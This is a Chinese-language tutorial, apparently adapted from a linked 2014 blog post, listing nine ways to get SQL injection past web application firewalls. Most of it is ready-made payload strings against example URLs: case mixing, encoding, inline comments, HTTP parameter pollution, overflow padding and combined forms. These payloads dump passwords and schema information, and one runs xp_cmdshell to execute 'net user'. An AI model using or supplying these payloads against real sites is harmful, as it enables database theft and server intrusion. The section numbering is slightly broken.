SQL注入9種繞過WAF方法
0x01前言
WAF區別於常規 防火牆 是因為WAF能夠過濾特定Web應用程序的內容，而常規防火牆則充當服務器之間的防御門。通過檢查HTTP的流量，它可以防御Web應用安全漏洞，如阻止來自 SQL注入、 跨站點腳本 （XSS）、 文件包含和安全配置錯誤。
0x02 WAF工作原理
§ 檢測異常協議：拒絕不符合HTTP標准的請求
§ 增強型的輸入驗證：代理和服務器端驗證，而不僅僅是客戶端驗證
§ 白名單和黑名單
§ 基於規則和異常的保護：基於規則的更多是基於黑色的機制和更靈活的異常
§ 狀態管理：防御會話保護(Cookie保護，反入侵規避技術，響應監控和信息披露保護)。
0x03 繞過WAF
1.混合的CaseChange惡意輸入會觸發WAF保護，如果WAF使用區分大小寫的黑名單，則更改大小寫可能會繞過該過濾器。
http://target.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
2.替換關鍵字（插入將被WAF刪除的特殊字符）---SELECT可能變為SEL <ECT，一旦刪除特殊字符，它將用SELECT執行
http://target.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
3.編碼
page.php?id=1%252f%252a*/UNION%252f%252a /SELECT
十六進制編碼：
target.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
Unicode 編碼:
?id=10%D6‘%20AND%201=2%23 SELECT 'Ä'='A'; #1
4.在攻擊字符串中使用注釋-----插入注釋。例如/ *！SELECT * /可能會被WAF忽略，但傳遞給目標應用程序是由mysql數據庫處理。
index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
5.等效函數和命令----由於檢測到關鍵字，因此無法使用某些函數或命令，但在很多情況下，我們可以使用它們的等效或類似代碼。
hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
5.特殊符號-----特殊符號具有特殊的含義和用法
+ ` symbol: select `version()`;
+ +- :select+id-1+1.from users;
+ @:select@^1.from users;
+Mysql function() as xxx
+`、~、!、@、%、()、[]、.、-、+ 、|、%00
Example:
'se’+’lec’+’t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’)
' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
7.HTTP參數污染------提供多個parameter= value的值集來混淆繞過WAF。鑒於 http://example.com?id=1&?id=' 或'1'='1' - '在某些情況下（例如使用Apache / PHP），應用程序將僅解析最后一個（第二個） id =， WAF只解析第一個id=。這似乎是一個合理的請求，但應用程序仍然接收並處理惡意輸入。今天的大多數WAF都不容易受到HTTP參數污染（HPP）的影響，但仍然值得一試。
HPP（HTTP參數解析）：
/?id=1;select+1,2,3+from+users+where+id=1—
/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users
HPP也被稱為重復參數污染，最簡單的是：uid = 1＆uid = 2＆uid = 3，對於這種情況，不同的Web服務器處理如下：
HPF（HTTP參數分段）：
此方法是HTTP分段注入，與CRLF類似（使用控制字符％0a，％0d等執行換行符）
/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--
select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users--
HPC（HTTP參數污染）:
RFC2396定義了以下字符：
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
不同的Web服務器處理過程在構造特殊請求時有不同的邏輯：
對於魔術字符％，Asp / Asp.net將受到影響
8.緩沖區溢出---WAF始終是應用程序，容易受到與其他應用程序相同的軟件缺陷的影響。如果出現緩沖區溢漏洞可能會導致WAF崩潰，即使它不會導致代碼執行也可能會導致WAF正常運行。
?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
9. IntegrationIntegration意味着使用各種 bypass技術，單一技術可能無法繞過過濾機制，但使用各種技術混合可能性會增加很多。
target.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…
id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -
?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
參考鏈接：https://vulnerablelife.wordpress.com/2014/12/18/web-application-firewall-bypass-techniques/
<wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">